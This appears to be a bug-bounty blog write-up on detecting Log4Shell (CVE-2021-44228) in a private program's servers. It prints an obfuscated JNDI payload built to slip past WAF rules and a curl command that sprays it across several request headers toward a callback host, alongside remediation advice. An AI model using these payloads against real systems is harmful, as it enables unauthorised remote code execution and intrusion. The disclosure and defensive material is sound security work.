
// TL;DR
Days after Log4Shell went public, I tested a private program’s attack surface for CVE-2021-44228. Using an obfuscated JNDI payload sprayed across multiple request headers and an out-of-band canary token for detection, I got callbacks — not from an edge box, but from internal production servers deep inside their network, including a Hadoop data node. That’s blind, unauthenticated remote code execution on critical infrastructure. Reported at P1; rewarded $2,100.
What is Log4Shell?
CVE-2021-44228 — “Log4Shell” — is a critical remote code execution flaw in Apache Log4j 2, the ubiquitous Java logging library, disclosed in December 2021. It scored a maximum CVSS 10.0 and is one of the most impactful vulnerabilities of the last decade because Log4j is embedded in a vast number of Java applications.
The bug is brutally simple: vulnerable Log4j versions perform JNDI lookups on logged strings. If attacker-controlled text containing a ${jndi:ldap://attacker/...} expression gets logged, Log4j reaches out to the attacker’s server, fetches a remote Java class, and executes it. Any input that eventually lands in a log line — a header, a username, a user agent — becomes an RCE vector. That’s what made it so dangerous: you don’t need to reach a special endpoint, you just need your string to be logged somewhere.
Detecting RCE blind: out-of-band callbacks
Here’s the practical challenge: you usually can’t see the result of the injection. You don’t control the server, you can’t read its logs, and nothing in the HTTP response tells you the payload fired. The execution is blind.
The answer is out-of-band (OOB) detection. Instead of trying to observe the result directly, you make the vulnerable server contact a listener you control and watch for that connection. If the callback arrives, the payload executed — the server parsed your ${jndi:...} expression and tried to resolve it.
For this I used Canarytokens (canarytokens.org), a free service that mints a Log4Shell token: a unique hostname that logs any DNS/LDAP resolution hitting it, along with the connecting host’s details. Point the JNDI payload at your canary token, and any callback is proof of vulnerability — delivered with the victim host’s own identifying information.
The payload (and why it’s obfuscated)
A naive payload (${jndi:ldap://...}) is trivially caught by WAFs, which by December 2021 were already pattern-matching the obvious form. So the payload is built with Log4j’s own lookup expressions to break up the signature while remaining semantically identical:
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://<canary-token-host>/z}
${upper:j} resolves to J, ${upper:l}${upper:d} to LD, ${lower:p} to p — so Log4j reassembles the string into jndi:ldap://... at evaluation time, while the literal bytes on the wire never spell jndi:ldap in sequence. The library helpfully deobfuscates its own payload past the filter. This nested-lookup trick was the standard way to beat early Log4Shell WAF rules.
Spraying it across headers
Because the vulnerability triggers wherever the string gets logged, and you don’t know in advance which field the application logs, the move is to place the payload in many request locations at once. My PoC did exactly that with a simple request:
bash
payload='${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://<canary-token-host>/z}'
curl -L "http://${domain}" --max-redirs 2 --max-time 15 \
-A "$payload" \
-e "$payload" \
-H "X-Forwarded-For: $payload" \
-H "Authentication: $payload" \
-H "X-Api-Version: $payload" \
-o /dev/null --silent
That single request seeds the payload into the User-Agent (-A), Referer (-e), X-Forwarded-For, Authentication, and X-Api-Version headers. Whichever one the backend logs, the lookup fires. Wrapped in a loop over a list of in-scope hosts and subdomains, it becomes a fast, broad sweep of the whole attack surface — and that’s what turned up the hits.
The callbacks: execution deep inside the network
The scan started returning callbacks — and this is the part that made it P1 rather than a routine edge finding. The canary token recorded the connecting hosts, and they weren’t load balancers or public web front-ends. They were internal production systems, reporting their own hostnames back:
- A host in the production manufacturing/fulfilment environment.
- A Hadoop data node in the production data cluster.
The callback metadata confirmed the source: the connecting IPs resolved to the target organisation’s own ASN and corporate netblock, with geolocation pointing at their corporate region. In other words, the ${jndi:...} string wasn’t just parsed at the perimeter — it travelled inward and was logged and evaluated by back-end systems well inside the network, which then reached out to my listener.

The volume mattered too: once the sweep ran across the in-scope domains and their subdomains, callbacks kept arriving from multiple distinct internal hosts. This wasn’t one lucky endpoint — the vulnerable library was present across a swath of their infrastructure.
(All specific hostnames, IPs, ASN, and geolocation from the original report are redacted here.)
Impact
This is about as serious as web-facing findings get:
- Unauthenticated remote code execution on production servers — the payload runs with the privileges of the vulnerable Java process.
- Deep internal reach. Execution on internal back-end systems (including a data-cluster node) means an attacker is already past the perimeter, positioned for data theft, lateral movement, and persistence.
- Broad exposure. Callbacks from multiple internal hosts across several in-scope domains indicate the vulnerable component was widespread, not isolated.
- Trivial to weaponise. I used a benign canary for proof; a real attacker would point the same payload at an LDAP server serving a malicious class and get a shell.
At the height of Log4Shell, this is precisely the exposure defenders were racing to close — and it was live on critical infrastructure.
After release, I reported this vulnerability to several organizations — LINE Corp, Xiaomi, and others — but most refused to accept it, saying it was a zero-day. Some did accept it, and the first bounty I received was from a Bugcrowd private program.

Remediation
The response to Log4Shell is well established:
- Upgrade Log4j to a fixed version (2.17.1+ for the full set of related CVEs) — the only real fix.
- Mitigate where you can’t patch immediately: remove the
JndiLookupclass from the classpath, and setlog4j2.formatMsgNoLookups=trueon affected 2.10+ deployments (partial, version-dependent — upgrading is still required). - Block outbound LDAP/RMI/DNS from servers that have no business making those connections — it breaks the callback stage and is good hygiene regardless.
- Hunt for prior exploitation, since this was mass-exploited in the wild from day one; a patch doesn’t tell you whether you were already hit.
Takeaways
- When a world-ending CVE drops, move fast and test broadly. This was found within days of disclosure. In that window, being quick and systematic across a large surface is what turns a public CVE into a real, paid finding.
- Blind bugs need out-of-band thinking. You can’t always see execution. An OOB listener (a canary token, a collaborator) turns an invisible RCE into a provable one, complete with the victim host’s own details.
- Obfuscate against WAFs, but understand why it works. The
${upper:}/${lower:}trick isn’t magic — it exploits the fact that Log4j deobfuscates its own lookups. Knowing the mechanism lets you adapt when a given WAF rule blocks the obvious form. - Spray every input, then follow the callback inward. Seed the payload into every header that might be logged; the real severity is revealed by where the callback originates. A hit from an internal data node is a very different report than a hit from the edge.
Thanks for reading — hope it was useful. Happy hacking!
Leave a Reply